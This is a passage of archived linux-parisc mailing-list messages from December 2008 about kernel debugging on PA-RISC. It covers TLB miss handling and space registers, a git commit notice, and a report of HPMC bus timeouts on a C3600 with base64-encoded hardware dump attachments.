	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LEYM2-0001xM-1F
	for glpp-linux-parisc@gmane.org; Mon, 22 Dec 2008 01:09:02 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751370AbYLVAHr (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 21 Dec 2008 19:07:47 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751437AbYLVAHr
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 21 Dec 2008 19:07:47 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:1502 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751370AbYLVAHq (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 21 Dec 2008 19:07:46 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id B9C6F4E99; Sun, 21 Dec 2008 19:07:45 -0500 (EST)
In-Reply-To: <494ECC7F.2010702@gmx.de> from "Helge Deller" at Dec 22, 2008 00:08:47 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1017
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1017>

> John David Anglin wrote:
> >>> -	mtsp(space, 3);
> >>> +	load_context(space);
> >> I came to the similar conclusion and tried exactly this patch earlier
> >> today. It didn't fixed the problem (although I had the feeling that the
> >> bug didn't appeared as often then).
> > 
> > Ok, then maybe load_context needs to be atomic.  This is a bit tricky
> > because we may have to ensure that no tlb misses are triggered (relied
> > upon translation) during the update.
> 
> I'll try tomorrow.

Another thing that I'm wondering about is the following.  The tlb miss
handlers assume the following:

	* cr24 contains a pointer to the kernel address space
	* page directory.
	*
	* cr25 contains a pointer to the current user address
	* space page directory.
	*
	* sr3 will contain the space id of the user address space
	* of the current running thread while that thread is
	* running in the kernel.

Possibly, load_context needs to update cr25 as well.  Assume cr24
never changes.

> What makes me wondering:
> 
> a) the bug always triggers AFAICS with applications which uses threads
> (for the ruby1.9 problem it's always the miniruby process). Maybe the
> problem happens to something being wrong in the signal handler with
> threadened applications, e.g. arch/parisc/kernel/signal.c:648 ?

In my gcc builds, it's bash and make that experience the majority of
unexplained segvs.  There is an issue with the signal handler and bash
that causes a loop, however I think the initial fault was caused by a
tlb issue.

> b) maybe stupid question: In the case it's a generic processor problem,
> would e.g. changing the kernel to use sr4 instead of sr3 for
> userspace-accesses change something? What does HPUX uses? At least one
> could try...?

Personally, it's not clear to me that this is just a problem with kernel
userspace accesses.  If sr3 is corrupt in the kernel, sr7 will be corrupt
in userspace.  Think the only thing special about sr3 is that the kernel
changes it for cache flushes, forks, etc.

Your comment that it's sr3 that's wrong suggests a problem with context
switches, particularly since the corrupt value is close to the correct
value.  If sr3 and cr8 are still inconsistent after the patch to
flush_user_cache_page_non_current, we must be missing a mechanism that
updates sr3.  One thought is to load cr8 before sr3 in load_context and
see what happens.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:14 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@hera.kernel.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [git] parisc: Changes to ref refs/heads/master
Date: Mon, 22 Dec 2008 17:32:07 GMT
Lines: 20
Approved: news@gmane.org
Message-ID: <200812221732.mBMHW7iI007863@hera.kernel.org>
NNTP-Posting-Host: lo.gmane.org
X-Trace: ger.gmane.org 1229967154 19078 80.91.229.12 (22 Dec 2008 17:32:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 22 Dec 2008 17:32:34 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Dec 22 18:33:41 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LEoej-0005iM-6G
	for glpp-linux-parisc@gmane.org; Mon, 22 Dec 2008 18:33:25 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753737AbYLVRcK (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 22 Dec 2008 12:32:10 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753829AbYLVRcK
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 22 Dec 2008 12:32:10 -0500
Original-Received: from hera.kernel.org ([140.211.167.34]:41602 "EHLO hera.kernel.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753737AbYLVRcJ (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 22 Dec 2008 12:32:09 -0500
Original-Received: from hera.kernel.org (IDENT:U2FsdGVkX1995ZllKyqBX43KXZPpRqM7sm4Hou7Tjp8@localhost [127.0.0.1])
	by hera.kernel.org (8.14.2/8.14.2) with ESMTP id mBMHW7OR007865
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <linux-parisc@vger.kernel.org>; Mon, 22 Dec 2008 17:32:07 GMT
Original-Received: (from kyle@localhost)
	by hera.kernel.org (8.14.2/8.13.1/Submit) id mBMHW7iI007863
	for linux-parisc@vger.kernel.org; Mon, 22 Dec 2008 17:32:07 GMT
X-Virus-Scanned: ClamAV 0.93.3/8792/Mon Dec 22 13:21:12 2008 on hera.kernel.org
X-Virus-Status: Clean
X-Spam-Status: No, score=-2.6 required=5.0 tests=BAYES_00,UNPARSEABLE_RELAY
	autolearn=ham version=3.2.5
X-Spam-Checker-Version: SpamAssassin 3.2.5 (2008-06-10) on hera.kernel.org
X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.0 (hera.kernel.org [127.0.0.1]); Mon, 22 Dec 2008 17:32:08 +0000 (UTC)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1018
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1018>

New commits:
commit 5939320fddfc4c6ada0550c4b20f6e81191c64b9
Author: Kyle McMartin <kyle@treachery.i.cabal.ca>
Date:   Mon Dec 22 12:29:02 2008 -0500

    parisc: factor out sid to protid conversion
    
    Create a new __space_to_prot inline to convert the space id (mmu context)
    to a protection id. Sadly it doesn't look like the #ifdef can be eliminated
    since relying on the compiler to not truncate a bit on
    	return (ctx >> SPACEID_SHIFT) << 1;
    seems a little dodgy.
    
    Signed-off-by: Kyle McMartin <kyle@mcmartin.ca>

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guy Martin <gmsoft@tuxicoman.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: HPMC bus timeout on C3600
Date: Mon, 22 Dec 2008 22:40:23 +0100
Lines: 261
Approved: news@gmane.org
Message-ID: <20081222224023.2488f2ef@tuxicoman.be>
References: <20081220133915.4c167e09@bleh.bxl.tuxicoman.be>
	<20081220221653.GA12880@bombadil.infradead.org>
	<20081220222100.GB12880@bombadil.infradead.org>
	<20081221081206.GC2047@colo.lackof.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="MP_/GIsVd/7G5/+PQQvin=ak1+H"
X-Trace: ger.gmane.org 1229982086 5818 80.91.229.12 (22 Dec 2008 21:41:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 22 Dec 2008 21:41:26 +0000 (UTC)
Cc: Kyle McMartin <kyle@infradead.org>, linux-parisc@vger.kernel.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Dec 22 22:42:32 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LEsXm-000382-UJ
	for glpp-linux-parisc@gmane.org; Mon, 22 Dec 2008 22:42:31 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754599AbYLVVlP (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 22 Dec 2008 16:41:15 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754657AbYLVVlP
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 22 Dec 2008 16:41:15 -0500
Original-Received: from cable-85.28.88.25.coditel.net ([85.28.88.25]:57919 "EHLO
	ibiza.bxl.tuxicoman.be" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754599AbYLVVlO (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 22 Dec 2008 16:41:14 -0500
Original-Received: from wifi007.bxl.tuxicoman.be ([172.20.1.7] helo=localhost)
	by ibiza.bxl.tuxicoman.be with esmtp (Exim 4.69)
	(envelope-from <gmsoft@tuxicoman.be>)
	id 1LEsWJ-0001FB-1I; Mon, 22 Dec 2008 22:41:04 +0100
In-Reply-To: <20081221081206.GC2047@colo.lackof.org>
X-Mailer: Claws Mail 3.5.0 (GTK+ 2.12.11; i686-pc-linux-gnu)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1019
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1019>

--MP_/GIsVd/7G5/+PQQvin=ak1+H
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Content-Disposition: inline


Kyle, Grant,

Thanks for your help but being unable to reproduce the issue at will
makes it very difficult to make any progress. The fault didn't occurred
those past two days.

So I decided to go another way. I've plugged in one of my well working
sata card and did a lot of IO using "dd if=/dev/zero of=/dev/sdc".

I'm not sure if this would trigger the same problem but it does trigger
an HPMC Bus timeout too after a few hundreds megs. This time, the PCI
slot pointed by the output is the sata card itself in slot 4.
Regarding GR02, it seems to point somewhere in user space.

Regarding Kyle's patch, it didn't changed anything but since the fault
isn't at inw(), I'm not sure it still even makes sens to apply it.


I tried to find out why the HPMC os handler wasn't triggered.
As documented in pdc20-v1.1-Ch3-pdce.pdf, the interruption vector table
is setup correctly. By this I mean that CR 14 points correctly to the
beginning of the fault_vector_20 (physical addr), the checksum is ok
and the length seems about right. I used a quickly coded module to
check all of this at run time.

The only thing that doesn't seem to be done is calling PDC_INSTR but I
still need to investigate that.
As far as I understand it's should provide instr to jump to the
os_hpmc handler. Those instr are already harcoded in the fault vector
so it's shouldn't be needed, unless calling PDC_INSTR actually does
tell the PDC that os_hpmc has been installed.


So again, I'm looking for help on going further with this issue.

Unfortunately, I don't have a lot of knowledge about PCI and the HP
side of the  elroy chip. I wanted to look at elroy's documentation but
it seems that a large part was stripped down.
Any pointer to usefull doc is more than welcome !

I've attached two HPMC dumps generated using the same command. Hopefull
they'll provide more details.
This is on an C3600 running latest parisc-2.6 git tree.


Regards,
  Guy






--MP_/GIsVd/7G5/+PQQvin=ak1+H
Content-Type: application/octet-stream; name=c3600-sata-pci-hpmc2
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename=c3600-sata-pci-hpmc2

UFJPQ0VTU09SIFBJTSBJTkZPUk1BVElPTgoKLS0tLS0tLS0tLS0tLS0tLS0gIFByb2Nlc3NvciAw
IEhQTUMgSW5mb3JtYXRpb24gLS0tLS0tLS0tLS0tLS0tLS0tCgpUaW1lc3RhbXAgPQogIE1vbiBE
ZWMgIDIyIDIxOjAwOjEzIEdNVCAyMDA4ICAgICgyMDowODoxMjoyMjoyMTowMDoxMykKCkhQTUMg
Q2hhc3NpcyBDb2RlcyA9IDJjYmYwICAyNTAwYiAgMmNiZjIgIDJjYmZjCgpHZW5lcmFsIFJlZ2lz
dGVycyAwIC0gMzEKMDAtMDMgICAwMDAwMDAwMDAwMDAwMDAwICAwMDAwMDAwMDAwNjUwMDAwICAw
MDAwMDAwMDAwNjUwMGY0ICAwMDAwMDAwMDhjYzJjMDAwCjA0LTA3ICAgMDAwMDAwMDA4ZGZiODgy
OCAgMDAwMDAwMDA4ZGZiODgzNCAgMDAwMDAwMDAwMDAwMDAwMSAgMDAwMDAwMDA4Y2MyYzAwMAow
OC0xMSAgIDAwMDAwMDAwMDAwMDAwMGYgIDAwMDAwMDAwOGRmYjg4MzQgIDAwMDAwMDAwOGRmYjg4
NDQgIDAwMDAwMDAwMDAwMDAwMWUKMTItMTUgICAwMDAwMDAwMDhkZmI4ODAwICAwMDAwMDAwMDhj
YzJkZTI4ICAwMDAwMDAwMDAwMDAwMDA1ICAwMDAwMDAwMDAwMDAwMGQwCjE2LTE5ICAgMDAwMDAw
MDAwMDAwMjAwMiAgMDAwMDAwMDBmMDAwMDE3YyAgMDAwMDAwMDBmMDAwMDE3NCAgMDAwMDAwMDAw
MDQwMDAwMAoyMC0yMyAgIDAwMDAwMDAwMDAwMDAwMDAgIDAwMDAwMDAwMDA2ODIwMDAgIDAwMDAw
MDAwMDA2NzliOWMgIDAwMDAwMDAwMDAwMDAwMmYKMjQtMjcgICAwMDAwMDAwMDZiNzE5ZDBhICAw
MDAwMDAwMDhjYzJkZGQwICAwMDAwMDAwMDhjYzJjMDAwICAwMDAwMDAwMDEwNGM3OGIwCjI4LTMx
ICAgMDAwMDAwMDAwMDY3OWQzYyAgMDAwMDAwMDAwMDAxMzc3YyAgMDAwMDAwMDA4Y2MxYzI0MCAg
MDAwMDAwMDAwMDY1MDBmNAoKPFByZXNzIGFueSBrZXkgdG8gY29udGludWUgKHEgdG8gcXVpdCk+
CgpDb250cm9sIFJlZ2lzdGVycyAwIC0gMzEKMDAtMDMgICAwMDAwMDAwMDAwMDAwMDAwICAwMDAw
MDAwMDAwMDAwMDAwICAwMDAwMDAwMDAwMDAwMDAwICAwMDAwMDAwMDAwMDAwMDAwCjA0LTA3ICAg
MDAwMDAwMDAwMDAwMDAwMCAgMDAwMDAwMDAwMDAwMDAwMCAgMDAwMDAwMDAwMDAwMDAwMCAgMDAw
MDAwMDAwMDAwMDAwMAowOC0xMSAgIDAwMDAwMDAwMDAwMDBlMDAgIDAwMDAwMDAwMDAwMDAwMDAg
IDAwMDAwMDAwMDAwMDAwYzAgIDAwMDAwMDAwMDAwMDAwM2YKMTItMTUgICAwMDAwMDAwMDAwMDAw
MDAwICAwMDAwMDAwMDAwMDAwMDAwICAwMDAwMDAwMDAwMTBlMDAwICAwMDAwMDAwMGZmYzAwMDAw
CjE2LTE5ICAgMDAwMDAwMzdmZTQ3YjYyZSAgMDAwMDAwMDAwMDAwMDAwMCAgMDAwMDAwMDAwMDY3
OWJkOCAgMDAwMDAwMDA0YWJjMDA5MAoyMC0yMyAgIDAwMDAwMDAwYTYyN2ZmZWUgIDAwMDAwMDAw
MDFlODIwNDggIDAwMDAwMDAwMDAwNDAwMGUgIDAwMDAwMDAwODAwMDAwMDAKMjQtMjcgICAwMDAw
MDAwMDAwNTFhMDAwICAwMDAwMDAwMDdkZTU4MDAwICAwMDAwMDAwMDAwMDQ0MDIxICAwMDAwMDAw
MGYwNDEyMDAwCjI4LTMxICAgMDAwMDAwMDA1NTU1NTU1NSAgMDAwMDAwMDA1NTU1NTU1NSAgMDAw
MDAwMDA4Y2MxYzAwMCAgMDAwMDAwMDAxMTExMTExMQpTcGFjZSBSZWdpc3RlcnMgMCAtIDcKCjAw
LTAzICAgMDAwMDAwMDAgICAgICAgICAgMDAwMDAwMDAgICAgICAgICAgMDAwMDAwMDAgICAgICAg
ICAgMDAwMDA3MDAKMDQtMDcgICAwMDAwMDAwMCAgICAgICAgICAwMDAwMDAwMCAgICAgICAgICAw
MDAwMDAwMCAgICAgICAgICAwMDAwMDAwMAoKCklJQSBTcGFjZSAgICAgICAgICAgICAgICAgICAg
PSAweDAwMDAwMDAwMDAwMDAwMDAKSUlBIE9mZnNldCAgICAgICAgICAgICAgICAgICA9IDB4MDAw
MDAwMDAwMDY3OWJkYwpDaGVjayBUeXBlICAgICAgICAgICAgICAgICAgID0gMHgyMDAwMDAwMApD
UFUgU3RhdGUgICAgICAgICAgICAgICAgICAgID0gMHg5ZTAwMDAwNApDYWNoZSBDaGVjayAgICAg
ICAgICAgICAgICAgID0gMHgwMDAwMDAwMApUTEIgQ2hlY2sgICAgICAgICAgICAgICAgICAgID0g
MHgwMDAwMDAwMApCdXMgQ2hlY2sgICAgICAgICAgICAgICAgICAgID0gMHgwMDMwMTAzYgpBc3Np
c3RzIENoZWNrICAgICAgICAgICAgICAgID0gMHgwMDAwMDAwMApBc3Npc3QgU3RhdGUgICAgICAg
ICAgICAgICAgID0gMHgwMDAwMDAwMApQYXRoIEluZm8gICAgICAgICAgICAgICAgICAgID0gMHgw
MDAwMDAwMApTeXN0ZW0gUmVzcG9uZGVyIEFkZHJlc3MgICAgID0gMHgwMDAwMDBmZmZiODA3MDQ4
ClN5c3RlbSBSZXF1ZXN0b3IgQWRkcmVzcyAgICAgPSAweGZmZmZmZmZmZmZmYTAwMDAKCkZsb2F0
aW5nLVBvaW50IFJlZ2lzdGVycyAwIC0gMzEKMDAtMDMgICAwMDAwMDAxZjAwMDAwMDAwICAwMDAw
MDAwMDAwMDAwMDAwICAwMDAwMDAwMDAwMDAwMDAwICAwMDAwMDAwMDAwMDAwMDAwCjA0LTA3ICAg
M2ZlYmI4ZGU4ZTM3NzMwMCAgM2ZlYmI4ZGU4ZTM3NzMwMCAgMDAwMDAwMDEwMDAwMDAwMCAgMDAw
MDAwMDAwMDAwMDAwMAowOC0xMSAgIDAwMDAwMDAwMDAwMDAwMDAgIDAwMDAwMDAyOGY4MTJiYzgg
IDhmODEyYmMwMDAwMDAwMDIgIDEwNTZmMGIwMDAwMDAwMDMKMTItMTUgICA1NTU1NTU1NTU1NTU1
NTU1ICA1NTU1NTU1NTU1NTU1NTU1ICA1NTU1NTU1NTU1NTU1NTU1ICA1NTU1NTU1NTU1NTU1NTU1
CjE2LTE5ICAgNTU1NTU1NTU1NTU1NTU1NSAgNTU1NTU1NTU1NTU1NTU1NSAgNTU1NTU1NTU1NTU1
NTU1NSAgNTU1NTU1NTU1NTU1NTU1NQoyMC0yMyAgIDU1NTU1NTU1NTU1NTU1NTUgIDU1NTU1NTU1
NTU1NTU1NTUgIDAwMDAwMDAwMDAwMDAwMDAgIDAwMDAwMDAwMDAwMDAwMDAKMjQtMjcgICAwMDAw
MDAwMDAwMDAwMDAwICAwMDAwZmY5NzAwMDAwMDAwICAwMDAwMDAwMDAwMDAwMDAwICAxMDI4Mjg1
ODEwMmI3MzY4CjI4LTMxICAgZmZmZmZmZmYwMDAxMzdmMiAgMTA0ZTBkYTQxMDE4NzFhMCAgMDAw
MDAwMDEwMDAwMDIyOCAgOGY4MjAyMDAxMDExNjVmNAoKJzkwMDAvNzg1IEIsQyxKIFdvcmtzdGF0
aW9uIFVuYXJjaGl0ZWN0ZWQgKHBlci1DUFUpJywgcmV2IDEsIDE0MCBieXRlczoKCkNoZWNrIFN1
bW1hcnkgICAgICAgICAgICAgICAgPSAweGNiODEwNDEwMDgwMDAwMDAKQXZhaWxhYmxlIE1lbW9y
eSAgICAgICAgICAgICA9IDB4MDAwMDAwMDA4MDAwMDAwMApDUFUgRGlhZ25vc2UgUmVnaXN0ZXIg
MiAgICAgID0gMHgwMzAwMDAwMDAwMDAwMDA0CkNQVSBTdGF0dXMgUmVnaXN0ZXIgMCAgICAgICAg
PSAweDI0MjBjMjAwMDAwMDAwMDAKQ1BVIFN0YXR1cyBSZWdpc3RlciAxICAgICAgICA9IDB4ODAw
MjAwMDAwMDAwMDAwMApTQUREIExPRyAgICAgICAgICAgICAgICAgICAgID0gMHhjMTBmMDBmZmZi
ODA3MDQ4ClJlYWQgU2hvcnQgTE9HICAgICAgICAgICAgICAgPSAweGMxYWYwMGZmZmI4MDcwNDgK
RVJST1JfU1RBVFVTICAgICAgICAgICAgICAgICA9IDB4MDAwMDAwMDAwMDEwMDAxMApNRU1fQURE
UiAgICAgICAgICAgICAgICAgICAgID0gMHgwMDAwMDFmZjNmZmZmZmZmCk1FTV9TWU5EICAgICAg
ICAgICAgICAgICAgICAgPSAweDAwMDAwMDAwMDAwMDAwMDAKTUVNX0FERFJfQ09SUiAgICAgICAg
ICAgICAgICA9IDB4MDAwMDAxZmYzZmZmZmZmZgpNRU1fU1lORF9DT1JSICAgICAgICAgICAgICAg
ID0gMHgwMDAwMDAwMDAwMDAwMDAwClJVTl9EQVRBX0hJR0ggICAgICAgICAgICAgICAgPSAweGMx
YmZmMGZmZmVkMDgwNDAKUlVOX0RBVEFfTE9XICAgICAgICAgICAgICAgICA9IDB4YzFiZmYwZmZm
ZWQwODA0MApSVU5fQ1RSTCAgICAgICAgICAgICAgICAgICAgID0gMHgwMDAwMDIxYzAwMDAxNDE4
ClJVTl9BRERSICAgICAgICAgICAgICAgICAgICAgPSAweGMxYmZmMGZmZmVkMDgwNDAKU3lzdGVt
IFJlc3BvbmRlciBQYXRoICAgICAgICA9IDB4MDBmZmZmZmYwYTAxMDQwMAoKCkhQTUMgUElNIEFu
YWx5c2lzIEluZm9ybWF0aW9uOgoKVGltZXN0YW1wID0KICBNb24gRGVjICAyMiAyMTowMDoxMyBH
TVQgMjAwOCAgICAoMjA6MDg6MTI6MjI6MjE6MDA6MTMpCgoKJzkwMDAvNzg1IEIsQyxKIFdvcmtz
dGF0aW9uIEhQTUMgUElNIEFuYWx5c2lzIChwZXItQ1BVKScsIHJldiAwLCAxMzA0IGJ5dGVzOgoK
QSBEYXRhIEkvTyBGZXRjaCBUaW1lb3V0IG9jY3VycmVkIHdoaWxlIENQVSAwIHdhcwpyZXF1ZXN0
aW5nIGluZm9ybWF0aW9uIGZyb20gYSBkZXZpY2UgYXQgdGhlIHBhdGggMTAvMS80LzAgKFBDSSBz
bG90IDQpLgoKCk1lbW9yeS9JTyBDb250cm9sbGVyIEVycm9yIEFuYWx5c2lzIEluZm9ybWF0aW9u
OgoKVGhlIE1lbW9yeS9JTyBDb250cm9sbGVyIG9ubHkgb2JzZXJ2ZWQgdGhlIEJyb2FkY2FzdCBF
cnJvci4gIEl0IGRpZCBub3QgbG9nCmFueSBhZGRpdGlvbmFsIGluZm9ybWF0aW9uIGFib3V0IHRo
ZSBIUE1DLgoKCgpNZW1vcnkgRXJyb3IgTG9nIEluZm9ybWF0aW9uOgoKVGltZXN0YW1wID0KICBN
b24gRGVjICAyMiAyMTowMDoxMyBHTVQgMjAwOCAgICAoMjA6MDg6MTI6MjI6MjE6MDA6MTMpCgoK
JzkwMDAvNzg1IEIsQyxKIFdvcmtzdGF0aW9uIE1lbW9yeSBFcnJvciBMb2cnLCByZXYgMCwgNjQg
Ynl0ZXM6CgogICBObyBtZW1vcnkgZXJyb3JzIGxvZ2dlZAoKCkkvTyBNb2R1bGUgRXJyb3IgTG9n
IEluZm9ybWF0aW9uOgoKVGltZXN0YW1wID0KICBNb24gRGVjICAyMiAyMTowMDoxMyBHTVQgMjAw
OCAgICAoMjA6MDg6MTI6MjI6MjE6MDA6MTMpCgoKJzkwMDAvNzg1IEIsQyxKIFdvcmtzdGF0aW9u
IElPIEVycm9yIExvZycsIHJldiAwLCAyMjggYnl0ZXM6CgogUm9wZSAgICAgV29yZDEgICAgICAg
IFdvcmQyICAgICAgICAgICAgV29yZDMKLS0tLS0tIC0tLS0tLS0tLS0tLSAtLS0tLS0tLS0tLS0K
ICAgMCAgICAweDAwMDAwMDAwICAgMHgwZTBjYzAwOSAgIDB4MDAwMDAwMDBmZWQzMDA0OAogICAx
ICAgIDB4MDAwMDAwMDAgICAweDFlMGNjMjg5ICAgMHgwMDAwMDAwMGZlZDMyMDQ4CiAgIDIgICAg
LS0tLS0tLS0tLSAgIDB4MmUwY2MwMDkgICAtLS0tLS0tLS0tLS0tLS0tLS0KICAgMyAgICAtLS0t
LS0tLS0tICAgMHgzZTBjYzAwOSAgIC0tLS0tLS0tLS0tLS0tLS0tLQogICA0ICAgIDB4MDAwMDAw
MDAgICAweDRlMGNjMDA5ICAgMHgwMDAwMDAwMGZlZDM4MDQ4CiAgIDUgICAgLS0tLS0tLS0tLSAg
IDB4NWUwY2MwMDkgICAtLS0tLS0tLS0tLS0tLS0tLS0KICAgNiAgICAweDAwMDAwMDAwICAgMHg2
ZTBjYzAwOSAgIDB4MDAwMDAwMDBmZWQzYzA0OAogICA3ICAgIC0tLS0tLS0tLS0gICAweDdlMGNj
MDA5ICAgLS0tLS0tLS0tLS0tLS0tLS0tCg==

--MP_/GIsVd/7G5/+PQQvin=ak1+H
Content-Type: application/octet-stream; name=c3600-sata-pci-hpmc
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename=c3600-sata-pci-hpmc

ClBST0NFU1NPUiBQSU0gSU5GT1JNQVRJT04KCi0tLS0tLS0tLS0tLS0tLS0tICBQcm9jZXNzb3Ig
MCBIUE1DIEluZm9ybWF0aW9uIC0tLS0tLS0tLS0tLS0tLS0tLQoKVGltZXN0YW1wID0KICBNb24g
RGVjICAyMiAxNzo1MTo0OCBHTVQgMjAwOCAgICAoMjA6MDg6MTI6MjI6MTc6NTE6NDgpCgpIUE1D
IENoYXNzaXMgQ29kZXMgPSAyY2JmMCAgMjUwMGIgIDJjYmYyICAyY2JmYwoKR2VuZXJhbCBSZWdp
c3RlcnMgMCAtIDMxCjAwLTAzICAgMDAwMDAwMDAwMDAwMDAwMCAgMDAwMDAwMDAwMDY1MDAwMCAg
MDAwMDAwMDAwMDY1MDBmNCAgMDAwMDAwMDAyZjA4NDAwMAowNC0wNyAgIDAwMDAwMDAwOGNjMWU4
MjggIDAwMDAwMDAwOGNjMWU4MzQgIDAwMDAwMDAwMDAwMDAwMDEgIDAwMDAwMDAwMmYwODQwMDAK
MDgtMTEgICAwMDAwMDAwMDAwMDAwMDBmICAwMDAwMDAwMDhjYzFlODM0ICAwMDAwMDAwMDhjYzFl
ODQ0ICAwMDAwMDAwMDAwMDAwMDFlCjEyLTE1ICAgMDAwMDAwMDA4Y2MxZTgwMCAgMDAwMDAwMDAy
ZjA4NWUyOCAgMDAwMDAwMDAwMDAwMDAwNSAgMDAwMDAwMDAwMDAwMDBkMAoxNi0xOSAgIDAwMDAw
MDAwMDAwMDIwMDIgIDAwMDAwMDAwZjAwMDAxN2MgIDAwMDAwMDAwZjAwMDAxNzQgIDAwMDAwMDAw
MDA0MDAwMDAKMjAtMjMgICAwMDAwMDAwMDAwMDAwMDAwICAwMDAwMDAwMDAwNjgyMDAwICAwMDAw
MDAwMDAwNjc5YjljICAwMDAwMDAwMDAwMDAwMDRjCjI0LTI3ICAgMDAwMDAwMDAwYTBlZTViMCAg
MDAwMDAwMDAyZjA4NWRkMCAgMDAwMDAwMDAyZjA4NDAwMCAgMDAwMDAwMDAxMDRjNzhiMAoyOC0z
MSAgIDAwMDAwMDAwMDA2NzlkM2MgIDAwMDAwMDAwMDAyMWY0MmUgIDAwMDAwMDAwMmYyODQyNDAg
IDAwMDAwMDAwMDA2NTAwZjQKCjxQcmVzcyBhbnkga2V5IHRvIGNvbnRpbnVlIChxIHRvIHF1aXQp
PgoKQ29udHJvbCBSZWdpc3RlcnMgMCAtIDMxCjAwLTAzICAgMDAwMDAwMDAwMDAwMDAwMCAgMDAw
MDAwMDAwMDAwMDAwMCAgMDAwMDAwMDAwMDAwMDAwMCAgMDAwMDAwMDAwMDAwMDAwMAowNC0wNyAg
IDAwMDAwMDAwMDAwMDAwMDAgIDAwMDAwMDAwMDAwMDAwMDAgIDAwMDAwMDAwMDAwMDAwMDAgIDAw
MDAwMDAwMDAwMDAwMDAKMDgtMTEgICAwMDAwMDAwMDAwMDAwZjlhICAwMDAwMDAwMDAwMDAwMDAw
ICAwMDAwMDAwMDAwMDAwMGMwICAwMDAwMDAwMDAwMDAwMDNmCjEyLTE1ICAgMDAwMDAwMDAwMDAw
MDAwMCAgMDAwMDAwMDAwMDAwMDAwMCAgMDAwMDAwMDAwMDEwZTAwMCAgMDAwMDAwMDBmZmMwMDAw
MAoxNi0xOSAgIDAwMDAwM2EyYzU2NjUwMWQgIDAwMDAwMDAwMDAwMDAwMDAgIDAwMDAwMDAwMDA2
NzliZDggIDAwMDAwMDAwNGFiYzAwOTAKMjAtMjMgICAwMDAwMDAwMGE2MjdmZmVlICAwMDAwMDAw
MDAxZTgyMDQ4ICAwMDAwMDAwMDAwMDYwMDBlICAwMDAwMDAwMDgwMDAwMDAwCjI0LTI3ICAgMDAw
